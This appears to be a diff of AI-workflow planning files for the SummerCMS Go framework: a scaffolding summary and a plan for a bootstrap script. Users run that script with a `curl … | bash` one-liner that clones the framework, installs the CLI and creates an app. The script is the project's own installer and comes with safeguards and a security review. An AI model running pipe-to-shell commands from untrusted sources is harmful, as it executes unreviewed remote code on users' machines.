+| T-14.3-10 | Repudiation | fallback git identity | low | accept | Used only when no identity exists, for the first commit only, and announced with a warning |
+| T-14.3-SC | Tampering | npm/pip/cargo installs | high | mitigate | No package installs in this plan; `git diff v0.1.12 -- go.mod` adds no require line |
+</threat_model>
+
+<verification>
+Run each task's automated command; then `go vet ./... && go test ./... -short && go -C examples/hello test ./... -count=1`. `bash scripts/check-phase14.3.sh --generator` must end with `Phase 14.3 generator check passed`.
+</verification>
+
+<success_criteria>
+- Roadmap success criterion 1: `summer new <name>` validates, refuses existing directories, resolves the framework and writes the full layout with a first commit.
+- Roadmap success criterion 2: the generated app builds, migrates and serves with no edits; the starter route answers over HTTP.
+- `summer make:plugin` output unchanged; `summer plugin:add` writes relative go.work paths; examples/hello tests pass.
+- No new dependency; lagoon README documents `lagoon.GenerateAppKey`.
+</success_criteria>
+
+<output>
+Create `.planning/phases/14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new/14.3-01-SUMMARY.md` when done.
+</output>
+</content>
+</invoke>

.planning/phases/14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new/14.3-01-SUMMARY.md

@@ -0,0 +1,215 @@
+---
+phase: 14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new
+plan: 01
+subsystem: cli
+tags: [summer-new, scaffolding, internal-build, go-work, lagoon, compose, postgres16]
+
+requires:
+  - phase: 01-framework-kernel-foundation
+    provides: make:plugin, plugin:add, summer build (internal/build), bonfire commands
+  - phase: 05-data-layer-full-fidelity
+    provides: lagoon app.key handling and key:generate
+provides:
+  - "summer new <name> [--framework] [--no-plugin] [--no-git] writing a ready-to-run sm-<name>-app"
+  - "build.NewOptions, build.NewApp, build.ValidateAppName; unexported planNewApp/genFile for golden tests"
+  - "make:plugin opt-in starter route (StarterRoute) in the single routes.go template"
+  - "plugin:add writes relative go.work use paths"
+  - "lagoon.GenerateAppKey"
+  - "examples/hello/config/http.yaml (TestTypedItemRoute green)"
+  - "scripts/check-phase14.3.sh --generator (D-12 on real PostgreSQL 16)"
+affects: [14.3-02 bootstrap script, 14.3-03 docs, 14.3-04 unit tests]
+
+actuals:
+  tokens: 11696
+  tasks: 3
+  commits: 6
+plan_head_before: 86fcd5d4fd2b8347629592a254029573cb67c7d3
+plan_head_after: 6695ab422aa0155f49c7ca87bdcb5fbf405c9e35
+
+tech-stack:
+  added: []
+  patterns:
+    - "Pure planNewApp (renders genFile list, reads only the framework go.mod) plus an executor that writes, then reuses makePlugin/AddPlugin/generate"
+    - "relModulePath helper shared by editAppModule, runGoWorkUse and the app replace"
+    - "frameworkFromBinary package variable so tests can replace binary-source detection"
+
+key-files:
+  created:
+    - internal/build/new.go
+    - internal/build/new_test.go
+    - internal/build/stubs/new.tmpl
+    - examples/hello/config/http.yaml
+    - scripts/check-phase14.3.sh
+  modified:
+    - internal/build/scaffold.go
+    - internal/build/stubs/plugin.tmpl
+    - cmd/summer/main.go
+    - cmd/summer/main_test.go
+    - modules/bonfire/command.go
+    - modules/bonfire/command_test.go
+    - modules/bonfire/README.md
+    - modules/lagoon/keygen.go
+    - modules/lagoon/keygen_test.go
+    - modules/lagoon/README.md
+    - README.md
+    - docs/setup/installation.md
+
+key-decisions:
+  - "bonfire accepts `new` as a bare command name (alongside build, dev, serve, migrate); required for `summer new`"
+  - "compose.yaml values (postgres:16, summer/summer, 127.0.0.1:54320) are literal in new.tmpl; Go constants build the matching .env DSN"
+  - "Fallback git identity is applied per missing key only (user.name and/or user.email), with a warning"
+  - "AGENTS.md is a relative symlink to CLAUDE.md"
+  - "Generated-app commit carries no trailers; .env is excluded by .gitignore written before git add -A"
+
+patterns-established:
+  - "New app templates live in stubs/new.tmpl under define names prefixed new/"
+  - "Any error after os.Mkdir of the target removes the target (it did not exist before the run)"
+
+requirements-completed: [D-01, D-02, D-03, D-04, D-05, D-06, D-07, D-08, D-09, D-10, D-11, D-12, D-22, D-23, D-24, D-25, D-27]
+
+coverage:
+  - id: D1
+    description: "summer new writes sm-<name>-app with a relative framework replace, relative go.work, config/ and a starter plugin whose GET /{$} route is listed by route:list"
+    requirement: D-05
+    verification:
+      - kind: integration
+        ref: "internal/build/new_test.go#TestNewAppSmoke"
+        status: pass
+      - kind: integration
+        ref: "internal/build/build_test.go#TestMakeAndAddPluginOnHelloCopy"
+        status: pass
+    human_judgment: false
+  - id: D2
+    description: "Name rule, existing-target refusal, missing-framework error naming --framework, sibling detection and --no-plugin build"
+    requirement: D-02
+    verification:
+      - kind: other
+        ref: "Task 2 verify shell block (-trimpath summer; RULES-OK)"
+        status: pass
+    human_judgment: false
+  - id: D3
+    description: "Generated app builds, migrates on compose PostgreSQL 16 and serves the starter route with no edits; .env 0600 untracked, one fallback-identity commit, AGENTS.md symlink, no root go.sum"
+    requirement: D-12
+    verification:
+      - kind: e2e
+        ref: "bash scripts/check-phase14.3.sh --generator"
+        status: pass
+    human_judgment: false
+  - id: D4
+    description: "lagoon.GenerateAppKey exported; key:generate output unchanged"
+    requirement: D-08
+    verification:
+      - kind: unit
+        ref: "modules/lagoon/keygen_test.go#TestEncryptedKeyGeneratePrints32ByteBase64"
+        status: pass
+      - kind: unit
+        ref: "modules/lagoon/keygen_test.go#TestGenerateAppKeyIs32ByteBase64"
+        status: pass
+    human_judgment: false
+  - id: D5
+    description: "examples/hello serves without a manual config step"
+    requirement: D-07
+    verification:
+      - kind: integration
+        ref: "go -C examples/hello test ./..."
+        status: pass
+    human_judgment: false
+  - id: D6
+    description: "Generated CLAUDE.md wording is neutral and useful for agents"
+    requirement: D-10
+    verification: []
+    human_judgment: true
+    rationale: "Tone and usefulness of agent instructions need a human read; greps only prove the required links and names are present"
+
+duration: 13min
+completed: 2026-10-08
+status: complete
+---
+
+# Phase 14.3 Plan 01: summer new generator Summary
+
+**`summer new <name>` writes a ready-to-run sm-<name>-app (relative framework replace and go.work, config/, starter plugin with GET /, .env with a fresh key, postgres:16 compose on 127.0.0.1:54320, CLAUDE.md/AGENTS.md, first git commit) that builds, migrates and serves with no edits.**
+
+## Performance
+
+- **Duration:** 13 min
+- **Started:** 2026-10-08T09:32:14Z
+- **Completed:** 2026-10-08T09:44:54Z
+- **Tasks:** 3
+- **Files modified:** 17
+
+## Accomplishments
+
+- `build.NewApp` plus `summer new` with `--framework`, `--no-plugin`, `--no-git`; framework resolution `--framework` > sibling `summercms`/`summercms.go` > binary source tree, each checked by module path.
+- Shared code-path fixes: `make:plugin` gains an opt-in starter route in the same template (plain output byte-identical, verified against the previous template); `plugin:add` writes relative `go.work` paths.
+- Refusals: invalid names (regex, Go keywords, `main`, `internal`), any existing target, a target inside the framework checkout, a missing parent; a failed run removes its own target.
+- `lagoon.GenerateAppKey` exported and documented; `examples/hello` ships `config/http.yaml`.
+- `scripts/check-phase14.3.sh --generator` proves D-12 on real PostgreSQL 16: `GET /` returned `{"message":"Hello from SummerCMS","plugin":"golem15.demo"}`.
+
+## Task Commits
+
+1. **Task 1: summer new tracer** - `7bc955a` (feat)
+2. **Task 2: framework detection, refusals, cleanup, --no-plugin** - `c33ebf3` (feat), hello fix `cc7386d` (fix)
+3. **Task 3: key, compose, agent notes, git, next steps, gate** - `ca5b296` (feat, lagoon), `147ef24` (feat, generator), `6695ab4` (chore, gate)
+
+## Files Created/Modified
+
+- `internal/build/new.go` - NewOptions, NewApp, ValidateAppName, resolveFramework, binarySourceFramework, planNewApp, populateApp, initGit
+- `internal/build/stubs/new.tmpl` - go.mod, config/*, .env, .env.example, compose.yaml, .gitignore, CLAUDE.md, next steps
+- `internal/build/stubs/plugin.tmpl` - routes.go `{{if .StarterRoute}}` branch
+- `internal/build/scaffold.go` - makePlugin(pluginOptions), relModulePath, relative runGoWorkUse
+- `internal/build/new_test.go` - TestNewAppSmoke
+- `cmd/summer/main.go`, `cmd/summer/main_test.go` - `new` command and its test entries
+- `modules/bonfire/command.go`, `command_test.go`, `README.md` - `new` allowed as a bare name
+- `modules/lagoon/keygen.go`, `keygen_test.go`, `README.md` - GenerateAppKey
+- `examples/hello/config/http.yaml`, `README.md`, `docs/setup/installation.md` - body_limits gap closed
+- `scripts/check-phase14.3.sh` - generator gate
+
+## Decisions Made
+
+- `new` is added to bonfire's bare-name allowlist (see deviation 1).
+- Fallback git identity covers only the missing keys, so a user with `user.name` set but no email keeps their name.
+- Compose values are literal in the template so the loopback-only binding is greppable; the DSN is assembled from matching Go constants.
+
+## Deviations from Plan
+
+### Auto-fixed Issues
+
+**1. [Rule 3 - Blocking] bonfire rejected the bare command name `new`**
+- **Found during:** Task 1
+- **Issue:** `bonfire.NewRoot` only accepts `build`, `dev`, `serve`, `migrate` as bare names; `TestToolCommandNames` failed with `plugin command name must be namespace:verb: "new"`.
+- **Fix:** Added `new` to `validCommandName`, to `TestValidBareRuntimeCommandNames`, and to the bonfire README sentence listing bare names (project documentation rule).
+- **Files modified:** modules/bonfire/command.go, modules/bonfire/command_test.go, modules/bonfire/README.md
+- **Verification:** `go test ./modules/bonfire/ ./cmd/summer/` pass
+- **Committed in:** 7bc955a
+
+**2. [Rule 1 - Bug] Gate script EXIT trap referenced function locals**
+- **Found during:** Task 3
+- **Issue:** The cleanup trap runs after `stage_generator` returns, when its `local` variables are gone, so Docker cleanup would have been skipped.
+- **Fix:** Made `tmp`, `app`, `project`, `server_pid` globals.
+- **Verification:** After the gate run no `phase143` containers or volumes remain and the temp dir is removed.
+- **Committed in:** 6695ab4
+
+---
+
+**Total deviations:** 2 auto-fixed (1 blocking, 1 bug). **Impact:** Both necessary; the bonfire change only widens the accepted name set (non-breaking).
+
+## Issues Encountered
+
+- `internal/build/registry.go` is listed by `gofmt -l` before this plan; untouched (out of scope).
+
+## User Setup Required
+
+None - no external service configuration required.
+
+## Next Phase Readiness
+
+- Plan 02 can call `summer new <name> --framework <fw>` from the bootstrap script; next steps are printed by `summer new` itself (no `cd` line).
+- Plan 03 should document `summer new` (console docs, installation one-liner, go-modules page, relative `plugin:add` go.work paths) and may drop the remaining hello `main.go` known-issue bullet.
+- Plan 04 can golden-test `planNewApp` with `testAppKey` and replace `frameworkFromBinary`.
+
+---
+*Phase: 14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new*
+*Completed: 2026-10-08*
+
+## Self-Check: PASSED

.planning/phases/14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new/14.3-02-PLAN.md

@@ -0,0 +1,258 @@
+---
+phase: 14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new
+plan: 02
+type: execute
+wave: 2
+depends_on: ["14.3-01"]
+files_modified:
+  - modules/sunrise/new.sh
+  - modules/sunrise/sunrise.go
+  - modules/sunrise/sunrise_test.go
+  - modules/sunrise/README.md
+  - README.md
+  - ../sm-summercmsio-app/plugins/golem15/summercms/script.go
+  - ../sm-summercmsio-app/plugins/golem15/summercms/plugin.go
+  - ../sm-summercmsio-app/plugins/golem15/summercms/routes_test.go
+  - ../sm-summercmsio-app/plugins/golem15/summercms/README.md
+  - scripts/check-phase14.3.sh
+  - .planning/phases/14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new/14.3-SECURITY-REVIEW.md
+autonomous: true
+requirements: [D-13, D-14, D-15, D-16, D-17, D-18, D-20, D-24, D-26, D-28]
+estimate:
+  tokens: 140000
+  raw_tokens: 140000
+  tasks: 3
+  confidence: low
+must_haves:
+  truths:
+    - "D-13/D-26: modules/sunrise embeds new.sh from its own package directory; sunrise.Script() returns exactly those bytes as a fresh copy on every call."
+    - "D-13: the site plugin answers GET /new with 200, Content-Type `text/plain; charset=utf-8`, `X-Content-Type-Options: nosniff`, `Cache-Control: no-cache`, a strong ETag and a body equal to sunrise.Script(); HEAD /new is 200 with no body; If-None-Match with that ETag is 304; POST /new is 405."
+    - "D-14: new.sh consists of comments, function definitions and a final line `main \"$@\"`; running any prefix of the file that ends on a line boundary, or any byte prefix of its final line, invokes no external command and creates no file."
+    - "D-15 step 1: with Go missing or older than 1.27 the script exits non-zero with a hint naming https://go.dev/dl/ before it clones anything; a missing git is an error; a missing Docker or compose plugin is only a warning."
+    - "D-15 step 2/D-16/D-17: with no checkout at SUMMERCMS_DIR (default ./summercms) the script clones SUMMERCMS_REPO (default https://git.golem15.com/golem15/summercms) and detaches at the newest vX.Y.Z tag, or at SUMMERCMS_REF when set."
+    - "Edge (dirty clone): an existing checkout with tracked changes, on a branch, whose go.mod is not the framework module, or that is not a git repository is refused with a message and left untouched."
+    - "Edge (non-fast-forward / moved tag): an existing detached checkout moves only when its HEAD is an ancestor of the target tag; tag fetches never overwrite a local tag; otherwise the script exits non-zero without changing the checkout."
+    - "D-15 steps 3-4: the script installs summer with `go install ./cmd/summer` into GOBIN (or the first GOPATH entry's bin), then runs `<gobin>/summer new <name> --framework <absolute checkout path>` from the checkout's parent directory with stdin closed."
+    - "D-24: the script prints `cd <absolute app dir>` and, only when the install directory is not on PATH, an `export PATH=\"<gobin>:$PATH\"` hint; the generic next steps come from summer new."
+    - "Edge (invalid name / existing app): a name failing ^[a-z][a-z0-9]*$ or an existing sm-<name>-app next to the checkout stops the script before any clone or install."
+    - "D-20: in a clean node:24-bookworm container with Go 1.27.0, the Docker CLI and compose plugin, git and jq, `curl -fsSL <script> | bash -s -- demo` then `cd sm-demo-app && docker compose up -d --wait && summer build && summer migrate && summer serve` ends with GET http://127.0.0.1:8080/ answering 200 JSON containing \"plugin\":\"golem15.demo\"."
+    - "Security: 14.3-SECURITY-REVIEW.md lists T-14.3-01..T-14.3-19 and T-14.3-SC with a disposition; no high threat is open."
+  prohibitions:
+    - requirement_id: D-26
+      category: safety
+      status: resolved
+      verification: judgment
+      resolution: flagged-unverified
+      reason: "compass reads the framework config prefix as config keys; descriptor-less, human review recommended."
+      statement: "The bootstrap script must never read or set variables with the framework's config env prefix (SUMMER_*); overrides are SUMMERCMS_REPO, SUMMERCMS_DIR and SUMMERCMS_REF only."
+    - requirement_id: D-16
+      category: safety
+      status: resolved
+      verification: judgment
+      resolution: flagged-unverified
+      reason: "Refusal paths reviewed in the security review and tested in plan 04; descriptor-less, human review recommended."
+      statement: "The bootstrap script must never discard, overwrite or move past local work in an existing framework checkout."
+    - requirement_id: D-15
+      category: safety
+      status: resolved
+      verification: judgment
+      resolution: flagged-unverified
+      reason: "Script is piped into a shell from the internet; descriptor-less, human review recommended."
+      statement: "The bootstrap script must never escalate privileges or write outside SUMMERCMS_DIR, the new sm-<name>-app directory and the Go install directory."
+    - requirement_id: D-28
+      category: safety
+      status: resolved
+      verification: judgment
+      resolution: flagged-unverified
+      reason: "Release is a user action; descriptor-less, human review recommended."
+      statement: "No task pushes a tag, pushes a branch or deploys the site."
+  artifacts:
+    - path: "modules/sunrise/new.sh"
+      provides: "the curl | bash bootstrap script, single source of truth"
+      contains: "main \"$@\""
+    - path: "modules/sunrise/sunrise.go"
+      provides: "embed and sunrise.Script()"
+      contains: "//go:embed new.sh"
+    - path: "modules/sunrise/README.md"
+      provides: "standard module README"
+      contains: "sunrise.Script"
+    - path: "../sm-summercmsio-app/plugins/golem15/summercms/script.go"
+      provides: "GET /new handler serving the embedded script"
+      contains: "sunrise.Script"
+    - path: "scripts/check-phase14.3.sh"
+      provides: "D-20 container acceptance stages"
+      contains: "--acceptance"
+    - path: ".planning/phases/14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new/14.3-SECURITY-REVIEW.md"
+      provides: "ASVS L1 review of plans 01-02"
+      contains: "T-14.3-11"
+  key_links:
+    - from: "../sm-summercmsio-app/plugins/golem15/summercms/plugin.go"
+      to: "modules/sunrise/sunrise.go"
+      via: "Routes registers GET /new with a handler over sunrise.Script(), built against the local framework through the plugin's replace (D-28)"
+      pattern: "\"/new\""
+    - from: "modules/sunrise/new.sh"
+      to: "cmd/summer/main.go"
+      via: "the script installs ./cmd/summer and calls `summer new <name> --framework <dir>`"
+      pattern: "new \"\\$name\" --framework"
+    - from: "scripts/check-phase14.3.sh"
+      to: "modules/sunrise/new.sh"
+      via: "--acceptance pipes the committed script into bash inside node:24-bookworm"
+      pattern: "node:24-bookworm"
+---
+
+<objective>
+Ship the bootstrap script `curl -fsSL https://summercms.io/new | bash -s -- <name>`: a bash `main()` script versioned in a new framework module `modules/sunrise`, served by the site plugin at `GET /new`, proven end to end in a clean `node:24-bookworm` container, and security-reviewed.
+
+Purpose: roadmap success criteria 3 and 4 — one command checks prerequisites, fetches the framework at its latest release tag, installs the summer CLI and runs `summer new`.
+Output: `modules/sunrise` (script, embed, README, smoke tests), the site plugin route, the `--acceptance` gate stages, and 14.3-SECURITY-REVIEW.md.
+</objective>
+
+<execution_context>
+@~/.claude/gsd-core/workflows/execute-plan.md
+@~/.claude/gsd-core/templates/summary.md
+</execution_context>
+
+<context>
+@.planning/phases/14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new/14.3-CONTEXT.md
+@.planning/phases/14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new/14.3-RESEARCH.md
+@.planning/phases/14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new/14.3-01-SUMMARY.md
+@modules/boardwalk/boardwalk.go
+@modules/boardwalk/README.md
+@../sm-summercmsio-app/plugins/golem15/summercms/plugin.go
+@../sm-summercmsio-app/plugins/golem15/summercms/static.go
+@../sm-summercmsio-app/plugins/golem15/summercms/routes_test.go
+</context>
+
+## Spec-less probe fallback
+
+No REQUIREMENTS.md IDs or SPEC.md exist for this phase; requirement probing is visibly skipped. The acceptance contract is D-13..D-17, D-20, D-24, D-26, D-28, roadmap success criteria 3 and 4, and the edge predicates (truncated script, invalid name, existing app directory, dirty or branch clone, non-fast-forward, moved tag, missing Go/git/Docker, POST /new) and prohibitions authored into `must_haves` above.
+
+## Artifacts this phase produces (this plan)
+
+- New framework module `git.golem15.com/golem15/summercms/modules/sunrise`, package `sunrise`: file `new.sh`, func `sunrise.Script() []byte`, README with the standard structure and a root README.md modules-table row.
+- Script contract: `bash -s -- <name>`; options `-h`/`--help`; env overrides `SUMMERCMS_REPO` (default `https://git.golem15.com/golem15/summercms`), `SUMMERCMS_DIR` (default `summercms` under the current directory), `SUMMERCMS_REF` (tag or commit; skips latest-tag selection).
+- Tests `TestScriptEmbedded`, `TestScriptShape`, `TestScriptTruncationRunsNothing`, gated `TestBootstrapEndToEnd` (`SUMMERCMS_BOOTSTRAP_CHECK=1`).
+- Site plugin: `scriptHandler` in `script.go`, route `GET /new`, test `TestNewScriptRoute` and three new `TestRoutesAssemble` rows; plugin README route row.
+- Gate stages `scripts/check-phase14.3.sh --acceptance` (local script and repo at HEAD, final line `Phase 14.3 acceptance passed`) and `--acceptance-production` (https://summercms.io/new and the public remote, run by the user after deploy).
+- `14.3-SECURITY-REVIEW.md`.
+
+<tasks>
+
+<task type="tracer">
+  <name>Task 1: Script → embed → GET /new → curl | bash → summer new, wired end to end</name>
+  <reversibility rating="costly">The URL `https://summercms.io/new`, the `bash -s -- <name>` argument shape, the SUMMERCMS_REPO/DIR/REF names and the exported `sunrise` package become a published contract copied into docs, the landing page and agent instructions; changing them needs coordinated doc and site updates (old copies can be kept working by redirects), so it is costly, not one-way.</reversibility>
+  <files>modules/sunrise/new.sh, modules/sunrise/sunrise.go, modules/sunrise/sunrise_test.go, modules/sunrise/README.md, README.md, ../sm-summercmsio-app/plugins/golem15/summercms/script.go, ../sm-summercmsio-app/plugins/golem15/summercms/plugin.go, ../sm-summercmsio-app/plugins/golem15/summercms/routes_test.go, ../sm-summercmsio-app/plugins/golem15/summercms/README.md</files>
+  <read_first>modules/boardwalk/boardwalk.go (embed of a file inside the package dir), modules/boardwalk/README.md (module README structure), README.md (Modules table, lines 81-107), cmd/summer/main.go (newCommand flags from plan 01), internal/build/new.go (ValidateAppName rule text), ../sm-summercmsio-app/plugins/golem15/summercms/plugin.go, ../sm-summercmsio-app/plugins/golem15/summercms/static.go (file struct, contentTypes, cacheNoCache, setCommonHeaders, http.ServeContent use), ../sm-summercmsio-app/plugins/golem15/summercms/routes_test.go, ../sm-summercmsio-app/plugins/golem15/summercms/README.md, ../sm-summercmsio-app/plugins/golem15/summercms/go.mod (relative framework replace), .planning/phases/14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new/14.3-RESEARCH.md (Bootstrap script design Q10 table, bash skeleton, Pitfalls 6-9, 13, Q7)</read_first>
+  <action>Build the production script and every layer it passes through, per D-13 to D-17, D-24 and D-26.
+
+Script `modules/sunrise/new.sh` (single source of truth; mode 0755): shebang `#!/usr/bin/env bash`, a header comment with the one-liner and the override names, helper functions, `main()`, and as the very last line `main "$@"` (D-14). Nothing at top level besides comments and function definitions. Inside `main`: `set -euo pipefail`; export `GIT_TERMINAL_PROMPT=0`; parse arguments first, before any external command: exactly one name, or `-h`/`--help` printing usage (exit 0); otherwise usage on stderr and exit 2. Validate the name with the bash regex `^[a-z][a-z0-9]*$` (summer new enforces the full denylist). Resolve the checkout directory from `SUMMERCMS_DIR` (default `summercms`) to an absolute path against `$PWD`, take its parent as the app parent, and stop with exit 1 when `<parent>/sm-<name>-app` already exists. Prerequisites (D-15 step 1): require `git`; require `go` and read its version with `go env GOVERSION` from `/` (so a local go.mod cannot switch toolchains), parse `^go([0-9]+)\.([0-9]+)`, require 1.27 or newer and print an install hint naming https://go.dev/dl/ when missing or older; an unparseable version (devel builds) is a warning; `docker` and `docker compose version` missing are warnings only. Checkout (D-15 step 2, D-16, D-17), following the research Q10 table: when the directory does not exist, `git clone --quiet "$repo" "$dir"` with `SUMMERCMS_REPO` defaulting to `https://git.golem15.com/golem15/summercms` (full clone, not shallow), then select the target and `git -c advice.detachedHead=false checkout --quiet --detach`. When it exists: it must be a git work tree whose go.mod first `module` line is `git.golem15.com/golem15/summercms` (read with a bash loop, not a pipeline into head), must have no tracked changes (`git status --porcelain --untracked-files=no` empty), must not be on a branch (`git symbolic-ref -q HEAD` fails); each violation stops with a message that suggests a separate `SUMMERCMS_DIR` or running `summer new --framework` by hand. Then `git fetch --quiet --tags origin` with no option that lets a moved upstream tag overwrite a local one (a failed fetch stops the script), select the target, do nothing when HEAD already equals it, check it out when `git merge-base --is-ancestor HEAD <target>` succeeds, otherwise stop (not a fast-forward). Target selection: `SUMMERCMS_REF` when set; otherwise capture `git tag -l 'v*' --sort=-v:refname` into a variable and take the first entry matching `^v[0-9]+\.[0-9]+\.[0-9]+$` in a bash loop (no pipe into head, research Pitfall 6); no release tag is an error. Install (D-15 step 3): run `go install ./cmd/summer` in the checkout with `-C`, `GOWORK` cleared and stdin from /dev/null; the install directory is `go env GOBIN`, else the first entry of `go env GOPATH` plus `/bin`. Create (D-15 step 4): from the parent directory run `"$gobin/summer" new "$name" --framework "$dir"` with stdin from /dev/null. Finish (D-24): print `cd <parent>/sm-<name>-app` as the first thing to run, and when `:$PATH:` lacks `:$gobin:` print `export PATH="$gobin:$PATH"` with a note to add it to the shell profile. Quote every expansion; no dynamic code strings, no privilege escalation, no writes outside the checkout, the new app directory and the install directory. Use only bash builtins plus the external commands `git`, `go` and `docker` (path manipulation through parameter expansion, not dirname or basename), so the script runs on a minimal PATH and plan 04 can test it with only git and stubs available. Environment overrides use only the `SUMMERCMS_` prefix (D-26). Messages go to stderr prefixed `==>` (errors `error:`), no colour codes.
+
+Package `modules/sunrise/sunrise.go`: package doc comment; `//go:embed new.sh` into an unexported byte slice; `func Script() []byte` returning `bytes.Clone` of it. README.md with the standard structure: H1 `sunrise`, summary sentence `Bootstrap script that installs the summer CLI and creates a new SummerCMS application in one command, embedded so it is versioned with the framework.`, import line, Overview (what the one-liner does, served at https://summercms.io/new), Features (main wrapper, latest release tag, fast-forward-only updates and refusals, PATH hint), Usage (the one-liner, `bash -s -- <name>`, and a short Go handler that writes `sunrise.Script()` as `text/plain; charset=utf-8`), API reference (`sunrise.Script`), Configuration (the three `SUMMERCMS_` variables with defaults), Dependencies (SummerCMS modules none, third-party none, stdlib `bytes`, `embed`), Testing (`go test ./modules/sunrise/...`, the gated `SUMMERCMS_BOOTSTRAP_CHECK=1` run). No consuming application names. Add the row to the root README.md Modules table in alphabetical order with the same summary sentence (D-18, D-26).
+
+Smoke tests `modules/sunrise/sunrise_test.go`: `TestScriptEmbedded` (Script equals the file bytes; mutating a returned slice does not change the next call); `TestScriptShape` (first line is the shebang, last non-empty line is exactly `main "$@"`, `bash -n` on the file exits 0); `TestScriptTruncationRunsNothing` (for every prefix ending on a line boundary and every byte prefix of the final line, write it to a temp file and run `bash <file> demo` with a clean environment whose PATH starts with a stub directory holding `git`, `go`, `docker`, `curl` and `summer` stubs that append to a marker file; assert the marker never exists and the working directory stays empty); gated `TestBootstrapEndToEnd` (runs only with `SUMMERCMS_BOOTSTRAP_CHECK=1`, 15 minute budget): serve `Script()` from an `httptest.Server`, run `curl -fsSL <url> | bash -s -- demo` in a temp work dir with `SUMMERCMS_REPO` = repository root, `SUMMERCMS_REF` = `git rev-parse HEAD`, `GOBIN` = a temp dir that is not on PATH; assert exit 0, the checkout `summercms` is detached at that commit, `sm-demo-app/go.mod` replaces the framework with `../summercms`, the output contains the `cd` line and the PATH hint, and `<gobin>/summer build` in the app succeeds.
+
+Site route (D-13, D-28): new `script.go` in the plugin with `scriptHandler(body []byte) http.HandlerFunc` that precomputes a `file` with the same strong ETag scheme as `newTree` and ctype `contentTypes[".txt"]`, and serves with `Content-Type`, `Cache-Control: no-cache` (`cacheNoCache`), `ETag`, `setCommonHeaders` and `http.ServeContent` (HEAD and If-None-Match handled there). In `Routes` register `g.Get("/new", scriptHandler(sunrise.Script()))` inside the existing `GroupRaw` before the catch-all; update the package and Routes doc comments. Tests: add `{GET /new 200 body=Script}`, `{HEAD /new 200}`, `{POST /new 405}` rows to `TestRoutesAssemble` and a `TestNewScriptRoute` asserting the exact headers and a 304 for a matching If-None-Match. Add a `GET /new` row to the plugin README Routes table. The plugin builds against the local framework through its existing replace; its `require` stays `v0.1.12` until the post-phase release bump (D-28). Commit order: summercms.go (sunrise module, one commit), then inside the plugin submodule, then the gitlink bump in `../sm-summercmsio-app` as its own commit. Do not push.</action>
+  <verify>
+    <automated>go vet ./modules/sunrise/ &amp;&amp; go test ./modules/sunrise/ -count=1 -v &amp;&amp; go test ./cmd/summer -run '^(TestDocsTree|TestEveryModuleInSidebar)$' -count=1 -v &amp;&amp; go -C ../sm-summercmsio-app/plugins/golem15/summercms vet ./... &amp;&amp; go -C ../sm-summercmsio-app/plugins/golem15/summercms test ./... -count=1 -v -run '^(TestRoutesAssemble|TestNewScriptRoute)$' &amp;&amp; SUMMERCMS_BOOTSTRAP_CHECK=1 go test ./modules/sunrise/ -run '^TestBootstrapEndToEnd$' -count=1 -v -timeout 20m</automated>
+    <fails_when>Non-zero exit; any "--- FAIL"; "--- SKIP: TestBootstrapEndToEnd"; "no tests to run"; or any of "--- PASS: TestScriptTruncationRunsNothing", "--- PASS: TestEveryModuleInSidebar", "--- PASS: TestNewScriptRoute", "--- PASS: TestBootstrapEndToEnd" is absent.</fails_when>
+  </verify>
+  <acceptance_criteria>
+    - `tail -n 1 modules/sunrise/new.sh` prints exactly `main "$@"` and `head -n 1 modules/sunrise/new.sh` prints `#!/usr/bin/env bash`.
+    - `grep -c 'SUMMER_' modules/sunrise/new.sh` prints 0; `grep -c 'SUMMERCMS_REPO\|SUMMERCMS_DIR\|SUMMERCMS_REF' modules/sunrise/new.sh` is at least 3.
+    - `grep -Ecw 'sudo|eval' modules/sunrise/new.sh` prints 0.
+    - `grep -c 'go:embed new.sh' modules/sunrise/sunrise.go` is 1 and `grep -c 'modules/sunrise/README.md' README.md` is 1.
+    - `grep -c '"/new"' ../sm-summercmsio-app/plugins/golem15/summercms/plugin.go` is 1.
+    - TestBootstrapEndToEnd passes: clone detached at HEAD, relative `../summercms` replace, `cd` line and PATH hint printed, generated app builds.
+    - `go test ./cmd/summer -run TestDocsTree` passes with the new README; `git -C ../sm-summercmsio-app status --porcelain plugins/golem15/summercms` is empty after the gitlink commit.
+  </acceptance_criteria>
+  <done>The embedded script is served at GET /new as text/plain and, piped from an HTTP server into bash, clones the framework at a pinned ref, installs summer and creates a buildable sm-demo-app; committed in summercms.go, the plugin submodule and the site app gitlink.</done>
+</task>
+
+<task type="auto">
+  <name>Task 2: D-20 container acceptance from nothing in node:24-bookworm</name>
+  <precondition>Docker daemon reachable through /var/run/docker.sock, network access to go.dev, download.docker.com, deb.debian.org and proxy.golang.org, and host ports 54320 and 8080 free.</precondition>
+  <files>scripts/check-phase14.3.sh</files>
+  <read_first>scripts/check-phase14.3.sh (the --generator stage from plan 01), modules/sunrise/new.sh, .planning/phases/14.3-one-command-app-scaffolding-summer-new-and-summercms-io-new/14.3-RESEARCH.md (Container acceptance D-20, Pitfalls 9, 10, 11, 12, 13), ../sm-summercmsio-app/DEPLOY.md (step 4 checks)</read_first>
+  <action>Add the D-20 acceptance stages to `scripts/check-phase14.3.sh`.
+
